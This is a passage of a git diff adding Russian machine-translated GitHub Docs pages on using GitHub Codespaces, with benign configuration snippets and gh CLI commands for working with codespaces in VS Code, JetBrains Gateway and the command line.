репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository) и [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). + +{% data reusables.codespaces.max-number-codespaces %} Аналогичным образом, если вы достигнете максимального количества активных сред codespace и попытаетесь запустить еще одну среду, вам будет предложено остановить одну из активных сред codespace. + +Если вы решили создавать новое пространство кода каждый раз при работе над проектом, следует регулярно отправлять изменения, чтобы все новые фиксации были включены в {% data variables.product.prodname_dotcom %}. Если вы решили использовать для своего проекта долгосрочное пространство кода, то должны выполнять вытягивание из ветви по умолчанию репозитория каждый раз, когда начинаете работать в пространстве кода, чтобы в вашей среде присутствовали последние фиксации. Этот рабочий процесс очень похож на работу с проектом на локальном компьютере. + +{% data reusables.codespaces.prebuilds-crossreference %} + +## Сохранение изменений в пространстве кода + +При подключении к пространству кода через Интернет для веб редактора автоматически включается автосохранение и настраивается сохранение изменений после задержки. При подключении к пространству кода через {% data variables.product.prodname_vscode %}, работающий на вашем компьютере, необходимо самостоятельно включить автосохранение. Дополнительные сведения см. в разделе [Сохранение и автосохранение](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) документации по {% data variables.product.prodname_vscode %}. + +Ваша работа будет сохранена на виртуальной машине в облаке. Вы можете закрыть и остановить codespace, а затем вернуться к сохраненной работе. Если у вас есть несохраненные изменения, перед выходом редактор предложит сохранить их. Однако при удалении codespace работа также будет удалена. Чтобы сохранить работу, необходимо зафиксировать изменения и отправить их в удаленный репозиторий или опубликовать работу в новом удаленном репозитории, если вы создали codespace на основе шаблона. Дополнительные сведения см. в статье [Использование системы управления версиями в кодовом пространстве](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace). + +## Время ожидания для {% data variables.product.prodname_github_codespaces %} + +Если вы оставите свое пространство кода работающим без взаимодействия или если выйдете из него, не остановив его явно, после некоторого периода бездействия время ожидания истечет, и пространство кода остановит работу. По умолчанию время ожидания пространства кода истекает через 30 минут бездействия, но вы можете настроить другое время ожидания для вновь создаваемых пространств кода. Дополнительные сведения о настройке времени ожидания по умолчанию для пространств кода см. в разделе [Настройка времени ожидания для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces). Дополнительные сведения об остановке пространства кода см. в разделе [Остановка пространства кода](#stopping-a-codespace). + +При истечении времени ожидания пространства кода данные сохраняются с момента последнего сохранения изменений. Дополнительные сведения см. в разделе [Сохранение изменений в пространстве кода](#saving-changes-in-a-codespace). + +## Перестроение пространства кода + +Вы можете перестроить пространство кода, чтобы восстановить исходное состояние, как если бы вы создали новое пространство кода. В большинстве случаев вместо перестроения пространства кода можно просто создать новое пространство кода. Скорее всего, вы перестроите codespace для реализации изменений в конфигурации контейнера разработки. При перестроении пространства кода все контейнеры Docker, образы, тома и кэши очищаются, а затем пространство кода перестраивается. + +Если вам нужно сохранить какие-либо из этих данных, можно создать в нужном расположении в контейнере символьную ссылку на постоянный каталог. Например, в каталоге `.devcontainer` можно создать каталог `config`, который будет сохранен при перестроении. Затем вы можете связать символьной ссылкой каталог `config` и его содержимое как `postCreateCommand` в файле `devcontainer.json`. + +```json +{ + "image": "mcr.microsoft.com/vscode/devcontainers/base:alpine", + "postCreateCommand": ".devcontainer/postCreate.sh" +} +``` + +В приведенном ниже примере файла `postCreate.sh` содержимое каталога `config` связано символической ссылкой с домашним каталогом. + +```bash +#!/bin/bash +ln -sf $PWD/.devcontainer/config $HOME/config && set +x +``` + +Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). + +## Остановка пространства кода + +{% data reusables.codespaces.stopping-a-codespace %} Дополнительные сведения см. в разделе [Остановка и запуск codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace). + +## Удаление codespace + +Вы можете создать пространство кода для конкретной задачи, а затем безопасно удалить его после отправки изменений в удаленную ветвь. + +Если вы попытаетесь удалить пространство кода с неотправленными фиксациями git, редактор сообщит вам, что имеются изменения, которые не были отправлены в удаленную ветвь. Вы можете отправить все необходимые изменения, а затем удалить пространство кода или продолжить, чтобы удалить пространство кода и все незафиксированные изменения. Вы также можете экспортировать код в новую ветвь, не создавая новое пространство кода. Дополнительные сведения см. в разделе [Экспорт изменений в ветвь](/codespaces/troubleshooting/exporting-changes-to-a-branch). + +Codespace, которые были остановлены и остаются неактивными в течение указанного периода времени, будут удалены автоматически. По умолчанию неактивные codespace удаляются через 30 дней, но вы можете настроить период хранения codespace. Дополнительные сведения см. в статье [Настройка автоматического удаления сред codespace](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces). + +Если вы создадите codespace, оно будет продолжать начислять расходы на хранение, пока оно не будет удалено, независимо от того, является ли оно активным или остановленным. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-storage-usage). Удаление codespace не уменьшает текущую оплачиваемую сумму для {% data variables.product.prodname_github_codespaces %}, которая накапливается в течение каждого ежемесячного цикла выставления счетов. Дополнительные сведения см. в разделе [Просмотр данных об использовании {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). + +Дополнительные сведения об удалении пространства кода см. в разделе [Удаление пространства кода](/codespaces/developing-in-codespaces/deleting-a-codespace). + +## Потеря подключения при использовании {% data variables.product.prodname_github_codespaces %} + +{% data variables.product.prodname_github_codespaces %} — это облачная среда разработки, для которой требуется подключение к Интернету. Если во время работы в пространстве кода произойдет потеря подключения к Интернету, вы не сможете получить доступ к своему пространству кода. Однако все незафиксированные изменения будут сохранены. Когда подключение к Интернету будет восстановлено, вы сможете подключиться к пространству кода в том же состоянии, в котором оно было оставлено. Если ваше подключение к Интернету нестабильно, следует чаще фиксировать и отправлять изменения. + +Если вы знаете, что часто работаете в автономном режиме, вы можете использовать файл `devcontainer.json` с [расширением "Контейнеры разработки"](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) для {% data variables.product.prodname_vscode_shortname %} для сборки и подключения к локальному контейнеру разработки для репозитория. Дополнительные сведения см. в разделе [Разработка в контейнере](https://code.visualstudio.com/docs/remote/containers) в документации по {% data variables.product.prodname_vscode %}. diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md new file mode 100644 index 000000000000..7d5886fe2c88 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md @@ -0,0 +1,63 @@ +--- +title: Использование GitHub Codespaces для запросов на вытягивание +shortTitle: Pull requests +intro: '{% data variables.product.prodname_github_codespaces %} можно использовать в веб-браузере или в {% data variables.product.prodname_vscode %} для создания запросов на вытягивание, проверки запросов на вытягивание и примечаний к просмотру.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Visual Studio Code + - Developer +redirect_from: + - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests +ms.openlocfilehash: 6932f8eb9095987bfe808080983970c8807b6d93 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160010' +--- +## Сведения о запросах на вытягивание в {% data variables.product.prodname_github_codespaces %} + +{% data variables.product.prodname_github_codespaces %} предоставляет множество возможностей, которые могут понадобиться для работы с запросами на вытягивание: + +- [Создание запроса на вытягивание](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#raising-a-pull-request) — с помощью команд терминала и Git или представления системы управления версиями можно создавать запросы на вытягивание так же, как и в {% data variables.product.prodname_dotcom_the_website %}. Если репозиторий использует шаблон запроса на вытягивание, можно использовать его в представлении системы управления версиями. +- [Открытие запроса на вытягивание](#opening-a-pull-request-in-codespaces) — можно открыть существующий запрос на вытягивание в codespace, если у вас есть доступ к codespace ветви, в которую нужно выполнить слияние. +- [Проверка запроса на вытягивание](#reviewing-a-pull-request-in-codespaces) — после открытия запроса на вытягивание в codespace можно использовать представление "Запрос на вытягивание GitHub" для добавления комментариев к проверке и подтверждения запросов на вытягивание. Вы также можете использовать {% data variables.product.prodname_github_codespaces %} для [просмотра комментариев к рецензированием](#view-comments-from-a-review-in-codespaces). + +## Открытие запроса на вытягивание в {% data variables.product.prodname_codespaces %} + +{% data reusables.repositories.sidebar-pr %} + +1. В списке запросов на вытягивание щелкните запрос на вытягивание, который нужно открыть в {% data variables.product.prodname_codespaces %}. +1. В правой части экрана щелкните **Код {% octicon "code" aria-label="The code icon" %}** . +1. На вкладке {% data variables.product.prodname_codespaces %} щелкните знак "плюс" ({% octicon "plus" aria-label="The plus icon" %}) + + ![Параметр открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png) + + Codespace создается для ветви запроса на вытягивание и открывается в редакторе по умолчанию для {% data variables.product.prodname_github_codespaces %}. + +## Проверка запроса на вытягивание в {% data variables.product.prodname_codespaces %} + +1. Если для редактора по умолчанию задано значение {% data variables.product.prodname_vscode %} или {% data variables.product.prodname_vscode %} для Интернета, откройте запрос на вытягивание в codespace, как описано в разделе ["Открытие запроса на вытягивание](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)" выше. +2. На панели действий щелкните представление **Запрос на вытягивание GitHub**. Это представление отображается только при открытии запроса на вытягивание в codespace. + ![Команда для открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/github-pr-view.png) +3. Чтобы просмотреть определенный файл, щелкните значок **Открыть файл** на боковой панели. + ![Команда для открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/changes-in-files.png) +4. Чтобы добавить комментарии к проверке, щелкните значок **+** рядом с номером строки. Введите комментарий к проверке и нажмите кнопку **Начать проверку**. + ![Команда для открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/start-review.png) +5. Завершив добавление примечаний к рецензированием, на боковой панели можно выбрать отправку примечаний, утверждение изменений или запрос изменений. + ![Команда для открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/submit-review.png) + +Дополнительные сведения о проверке запроса на вытягивание см. в разделе [Проверка предлагаемых изменений в запросе на вытягивание](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). + +## Просмотр комментариев к проверке в {% data variables.product.prodname_codespaces %} + +Получив отзыв о запросе на вытягивание, вы можете [открыть его в codespace](#opening-a-pull-request-in-codespaces) в веб-браузере или в {% data variables.product.prodname_vscode_shortname %}, чтобы просмотреть [комментарии к отзыву](#reviewing-a-pull-request-in-codespaces). Там можно отвечать на комментарии, добавлять реакции или отклонить отзыв. + + ![Параметр открытия запроса на вытягивание в codespace](/assets/images/help/codespaces/incorporating-codespaces.png) + + + diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md new file mode 100644 index 000000000000..be5277311a9b --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md @@ -0,0 +1,112 @@ +--- +title: Использование GitHub Codespaces в Visual Studio Code +shortTitle: Visual Studio Code +intro: 'Можно заниматься разработкой в codespace непосредственно в {% data variables.product.prodname_vscode %} путем подключения расширения {% data variables.product.prodname_github_codespaces %} к учетной записи в {% data variables.product.product_name %}.' +redirect_from: + - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code + - /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code + - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio + - /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Visual Studio Code + - Developer +ms.openlocfilehash: c651620e2795fb29f2b995f745ad3880e99c0f4e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159922' +--- +## Сведения о {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %} + +Локальная установка {% data variables.product.prodname_vscode %} позволяет создавать кодовыми пространства, управлять ими, работать в таких пространствах и удалять их. {% data reusables.codespaces.using-codespaces-in-vscode %} Дополнительные сведения о настройке {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode_shortname %} см. в разделе [Предварительные требования](#prerequisites). + +По умолчанию при создании нового кодовое пространства в {% data variables.product.prodname_dotcom_the_website %} оно открывается в браузере. Если вы хотите, чтобы новые кодовые пространства автоматически открывались в {% data variables.product.prodname_vscode_shortname %}, выберите {% data variables.product.prodname_vscode_shortname %} как редактор по умолчанию. Дополнительные сведения см. в разделе [Настройка редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces). + +Если вы предпочитаете работать в браузере, но хотите и дальше использовать существующие расширения, темы и ярлыки {% data variables.product.prodname_vscode_shortname %}, можно включить синхронизацию параметров. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для вашей учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync). + +## Предварительные требования + +Чтобы заниматься разработкой непосредственно в кодовом пространстве {% data variables.product.prodname_vscode_shortname %}, установите расширение {% data variables.product.prodname_github_codespaces %} и выполните вход под своими учетными данными для {% data variables.product.product_name %}. Для расширения {% data variables.product.prodname_github_codespaces %} требуется {% data variables.product.prodname_vscode_shortname %} 1.51 за октябрь 2020 года или более поздней версии. + +Используйте {% data variables.product.prodname_vscode_marketplace %} для установки расширения [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). Дополнительные сведения см. в разделе [Магазин расширений](https://code.visualstudio.com/docs/editor/extension-gallery) в документации по {% data variables.product.prodname_vscode_shortname %}. + + +{% mac %} + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. Щелкните **Войти в {% data variables.product.prodname_dotcom %}...**. + + ![Вход в {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) + +2. Чтобы разрешить {% data variables.product.prodname_vscode_shortname %} доступ к вашей учетной записи в {% data variables.product.product_name %}, нажмите **Разрешить**. +3. Войдите в {% data variables.product.product_name %} и утвердите расширение. + +{% endmac %} + +{% windows %} + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. В раскрывающемся меню "УДАЛЕННЫЙ ОБОЗРЕВАТЕЛЬ" выберите **{% data variables.product.prodname_github_codespaces %}** . + + ![Заголовок {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-header-vscode.png) + +1. Щелкните **Войти, чтобы просмотреть {% data variables.product.prodname_codespaces %}**. + + ![Вход для просмотра {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) + +1. Чтобы разрешить {% data variables.product.prodname_vscode_shortname %} доступ к вашей учетной записи в {% data variables.product.product_name %}, нажмите **Разрешить**. +1. Войдите в {% data variables.product.product_name %} и утвердите расширение. + +{% endwindows %} + +## Создание кодового пространства в {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.creating-a-codespace-in-vscode %} + +## Открытие кодового пространства в {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. В разделе "Кодовые пространства" щелкните правой кнопкой мыши кодовое пространство, в котором вы хотите заняться разработкой. +1. Нажмите на значок "Подключение к кодовому пространству". + + ![Значок "Подключение к кодовому пространству" в {% data variables.product.prodname_vscode_shortname %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) + +## Изменение типа компьютера в {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.codespaces-machine-types %} Тип компьютера для кодового пространства можно изменить в любой момент. + +{% note %} + +**Примечание**. {% data reusables.codespaces.codespaces-machine-type-availability %} + +{% endnote %} + +{% data reusables.codespaces.changing-machine-type-in-vscode %} + +{% data reusables.codespaces.about-changing-storage-size %} + +## Удаление кодового пространства в {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.deleting-a-codespace-in-vscode %} + +## Переключение на сборку участников программы предварительной оценки в {% data variables.product.prodname_vscode_shortname %} + +Вы можете использовать [сборку участников программы предварительной оценки {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/setup/setup-overview#_insiders-nightly-build) в {% data variables.product.prodname_github_codespaces %}. + +1. В левом нижнем углу окна {% data variables.product.prodname_github_codespaces %} выберите **{% octicon "gear" aria-label="The settings icon" %} Параметры**. +2. В открывшемся списке выберите "Переключиться на версию участников программы предварительной оценки". + + ![Щелкните "Сборка участников программы предварительной оценки" в {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png) + +3. После выбора {% data variables.product.prodname_github_codespaces %} продолжит открываться в версии участников программы предварительной оценки. + +## Дополнительные материалы + +- [Использование {% data variables.product.prodname_vscode_command_palette %} в {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)" +- [Использование {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces)" diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide.md new file mode 100644 index 000000000000..de07bf5cba74 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide.md @@ -0,0 +1,138 @@ +--- +title: Использование GitHub Codespaces в интегрированной среде разработки JetBrains +shortTitle: JetBrains IDEs +intro: Шлюз JetBrains можно использовать для подключения к codespace и работы в вашей любимой интегрированной среде разработки JetBrains. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Developer +ms.openlocfilehash: f522bf481e932f9735560ee4a1fec21944ced2e7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160159' +--- +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +## Сведения о {% data variables.product.prodname_codespaces %} в URI JetBrains + +Если вы используете интегрированную среду разработки JetBrains для работы с кодом, вы можете воспользоваться преимуществами работы в codespace. Это можно сделать с помощью приложения Шлюза JetBrains. + +После установки шлюза JetBrains вы можете задать JetBrains в качестве редактора по умолчанию, а затем при каждом открытии codespace из {% data variables.product.prodname_dotcom_the_website %} будет запускаться шлюз JetBrains, позволяющий выбрать интегрированную среду разработки JetBrains и подключиться к codespace. + +{% note %} + +**Примечание.** В шлюзе JetBrains доступны только существующие codespace. Codespaces можно создать в {% data variables.product.prodname_dotcom_the_website %} или с помощью {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). + +{% endnote %} + +### Процесс подключения к удаленной разработке JetBrains + +Базовый процесс использования codespace в интегрированной среде разработки JetBrains выглядит следующим образом. + +* В приложении шлюза JetBrains выберите одно из активных или остановленных пространств кода. +* Затем вы выбираете, какую интегрированную среду разработки JetBrains вы хотите использовать. +* Затем выбранная интегрированная среда разработки JetBrains загружается на удаленную виртуальную машину, на которую размещается пространство кода и исходный код. +* Затем тонкое клиентское приложение JetBrains загружается на локальный компьютер и запускается. +* Клиентское приложение подключается к полной внутренней интегрированной среде разработки. +* Вы можете работать с кодом в клиентском приложении так же, как в локальной среде. + +## Предварительные условия + +Для работы в codespace в интегрированной среде разработки JetBrains вам потребуется: + +* Действительная лицензия JetBrains +* Приложение шлюза JetBrains +* {% data variables.product.prodname_cli %} версии 2.18.0 или более поздней +* Существующее пространство кода, на котором выполняется сервер SSH + +### Лицензия JetBrains + +Для подключения к codespace из шлюза JetBrains требуется лицензия по крайней мере на одно из поддерживаемых URI JetBrains. + +### Шлюз JetBrains + +Вы можете установить и обновить шлюз JetBrains из приложения JetBrains Toolbox. + +1. Скачайте и установите [панель элементов JetBrains](https://www.jetbrains.com/toolbox-app). +1. Откройте панель элементов JetBrains. +1. Найдите **Шлюз** в списке доступных средств и нажмите кнопку **Установить**. + + ![Снимок экрана: панель элементов JetBrains](/assets/images/help/codespaces/jetbrains-toolbox.png) + +### {% data variables.product.prodname_cli %} + +Подключаемый модуль {% data variables.product.prodname_github_codespaces %} для шлюза JetBrains требует установки и настройки {% data variables.product.prodname_cli %} версии 2.18.0 или более поздней перед открытием codespace из шлюза JetBrains. + +Используйте эту команду, чтобы проверить версию {% data variables.product.prodname_cli %}: + +```shell{:copy} +gh --version +``` + +Дополнительные сведения см. в разделе [Сведения о GitHub CLI](/github-cli/github-cli/about-github-cli). + +### Codespace, на котором выполняется сервер SSH + +У вас должно быть существующее пространство кода для подключения. {% data reusables.codespaces.ways-to-create-a-codespace %} Дополнительные сведения см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). + +{% data reusables.codespaces.ssh-server-installed %} + +Дополнительные сведения о файле и образе контейнера по умолчанию см. в разделе [Общие сведения о](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)`devcontainer.json` контейнерах разработки. + +{% note %} + +**Примечание.** Справку по подключению к codespace по протоколу SSH см. в разделе [Устранение неполадок {% data variables.product.prodname_github_codespaces %} клиентов](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients?tool=jetbrains#ssh-connection-issues). + +{% endnote %} + +## Настройка шлюза JetBrains + +При первом использовании шлюза JetBrains для {% data variables.product.prodname_github_codespaces %} необходимо установить подключаемый модуль {% data variables.product.prodname_codespaces %}. Кроме того, необходимо разрешить шлюзу JetBrains доступ к {% data variables.product.prodname_dotcom_the_website %} с помощью учетной записи {% data variables.product.prodname_dotcom %}. + +1. Откройте приложение шлюза JetBrains. +1. В разделе **Установить другие поставщики** щелкните ссылку **Установить** для {% data variables.product.prodname_github_codespaces %}. + + ![Снимок экрана: начальное представление шлюза JetBrains](/assets/images/help/codespaces/jetbrains-gateway-initial-view.png) + +1. Щелкните **Подключиться к Codespace**. + + ![Снимок экрана: шлюз с кнопкой "Подключиться к Codespace"](/assets/images/help/codespaces/jetbrains-gateway-connect.png) + +1. В диалоговом окне "Добро пожаловать в шлюз JetBrains" щелкните **Войти с помощью {% data variables.product.prodname_dotcom %}**. + + ![Снимок экрана: кнопка входа](/assets/images/help/codespaces/jetbrains-gateway-sign-in.png) + +1. Щелкните значок рядом с одноразовым кодом, чтобы скопировать его, а затем щелкните ссылку для входа. + + ![Снимок экрана: код одноразового входа](/assets/images/help/codespaces/jetbrains-gateway-login-code.png) + +1. Если вы еще не вошли в {% data variables.product.prodname_dotcom %}, отобразится страница входа. + * Введите свои данные и нажмите кнопку **Войти**. + * Проверьте проверку подлинности, например введя код двухфакторной проверки подлинности. +1. На странице "Активация устройства" вставьте скопированный код и нажмите кнопку **Продолжить**. +1. Если вы принадлежите к организациям, отобразится страница "Единый вход в организации". Щелкните **Авторизовать** рядом с организациями, к которым вы хотите предоставить доступ шлюзу JetBrains, а затем нажмите кнопку **Продолжить**. +1. На странице "Авторизация {% data variables.product.prodname_github_codespaces %} для JetBrains щелкните **Авторизовать {% data variables.product.prodname_dotcom %}**. +1. Вернитесь в приложение шлюза JetBrains и откройте codespace из списка активных или остановленных кодовых пространств. См. шаг 3 следующей процедуры. + +## Открытие codespace в интегрированной среде разработки JetBrains + +{% data reusables.codespaces.opening-codespace-in-jetbrains %} + + При первом подключении к codespace серверная интегрированная среда разработки будет загружена на удаленный компьютер. Это может занять несколько минут. При следующем подключении к тому же codespace этот шаг не потребуется, что ускорит процесс подключения. + + Затем запускается серверная интегрированная среда разработки. Опять же, этот шаг не потребуется в будущем, если вы повторно подключитесь к внутренней интегрированной среде разработки, которую вы оставили запущенной. + + Затем запускается клиентское приложение. + +## Дополнительные материалы + +- ["Разработка в codespace](/codespaces/developing-in-codespaces/developing-in-a-codespace)" +- [Использование подключаемого модуля {% data variables.product.prodname_github_codespaces %} для JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains) +- [Использование {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces)" +- [Устранение неполадок клиентов {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients?tool=jetbrains) diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md new file mode 100644 index 000000000000..49d9faf67ee2 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md @@ -0,0 +1,244 @@ +--- +title: Использование GitHub Codespaces с GitHub CLI +shortTitle: GitHub CLI +intro: 'Вы можете работать с {% data variables.product.prodname_github_codespaces %} непосредственно из командной строки с помощью `gh`, интерфейса командной строки {% data variables.product.product_name %}.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - CLI + - Developer +redirect_from: + - /codespaces/developing-in-codespaces/using-codespaces-with-github-cli +ms.openlocfilehash: e9a268273e0a6d85a17a795f593e7bd3a7885718 +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163500' +--- +## Сведения о {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} Дополнительные сведения см. в статьях [Сведения о {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli). + +Вы можете работать с {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_cli %}, чтобы: + - [Перечисление всех codespace](#list-all-of-your-codespaces) + - [Создание нового codespace](#create-a-new-codespace) + - [Остановка codespace](#stop-a-codespace) + - [Удаление codespace](#delete-a-codespace) + - [Переименование codespace](#rename-a-codespace) + - [Выполнения SSH в codespace](#ssh-into-a-codespace) + - [Открытие codespace в {% data variables.product.prodname_vscode %}](#open-a-codespace-in--data-variablesproductprodname_vscode-) + - [Открытие codespace в JupyterLab](#open-a-codespace-in-jupyterlab) + - [Копирование файла в codespace или из него](#copy-a-file-tofrom-a-codespace) + - [Изменение портов в codespace](#modify-ports-in-a-codespace) + - [Доступ к журналам codespace](#access-codespace-logs) + - [Получение доступа к удаленным ресурсам](#access-remote-resources) + - [Изменение типа компьютера codespace](#change-the-machine-type-of-a-codespace) + +## Установка {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-installation %} + +## Использование {% data variables.product.prodname_cli %} + +Если вы еще этого не сделали, выполните `gh auth login` для проверки подлинности с помощью учетной записи {% data variables.product.prodname_dotcom %}. + +Чтобы использовать `gh` для работы с {% data variables.product.prodname_github_codespaces %}, введите `gh codespace SUBCOMMAND` или его псевдоним `gh cs SUBCOMMAND`. + +В качестве примера ряда команд, которые можно использовать для работы с {% data variables.product.prodname_github_codespaces %}, вы можете: + +* Создать список текущих codespace, чтобы проверить наличие codespace для определенного репозитория:
+ `gh codespace list` +* Создать новый codespace для требуемой ветви репозитория:
+ `gh codespace create -r github/docs -b main` +* Выполнения SSH в новом codespace:
+ `gh codespace ssh -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq` +* Переадресуйте порт на локальный компьютер:
+ `gh codespace ports forward 8000:8000 -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq` + +## Команды `gh` для {% data variables.product.prodname_github_codespaces %} + +В следующих разделах приведены примеры команд для каждой из доступных операций. + +Полный справочник по командам `gh` для {% data variables.product.prodname_github_codespaces %}, включая сведения обо всех доступных параметрах для каждой команды, см. в справке {% data variables.product.prodname_cli %} для [gh codespace](https://cli.github.com/manual/gh_codespace). Кроме того, в командной строке используйте `gh codespace --help` для общей справки или `gh codespace SUBCOMMAND --help` справки по определенной подкоманде. + +{% note %} + +**Примечание.** Флаг `-c CODESPACE_NAME`, используемый со многими командами, не является обязательным. Если он пропущен, отобразится список codespace для выбора. + +{% endnote %} + +### Перечисление всех codespace + +```shell +gh codespace list +``` + +Список содержит уникальное имя каждого codespace, которое можно использовать в других командах `gh codespace`. + +Звездочка в конце имени ветви для codespace указывает, что в этом codespace есть незафиксированные или незафиксированные изменения. + +### Создание нового codespace + +```shell +gh codespace create -r OWNER/REPO_NAME [-b BRANCH] +``` + +Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). + +### Остановка codespace + +```shell +gh codespace stop -c CODESPACE-NAME +``` + +Дополнительные сведения см. в разделе [{% data variables.product.prodname_github_codespaces %} в деталях](/codespaces/getting-started/deep-dive#closing-or-stopping-your-codespace). + +### Удаление codespace + +```shell +gh codespace delete -c CODESPACE-NAME +``` + +Дополнительные сведения см. в статье [Удаление codespace](/codespaces/developing-in-codespaces/deleting-a-codespace). + +### Переименование codespace + +```shell +gh codespace edit -c CODESPACE-NAME -d DISPLAY-NAME +``` + +Дополнительные сведения см. в разделе [Переименование 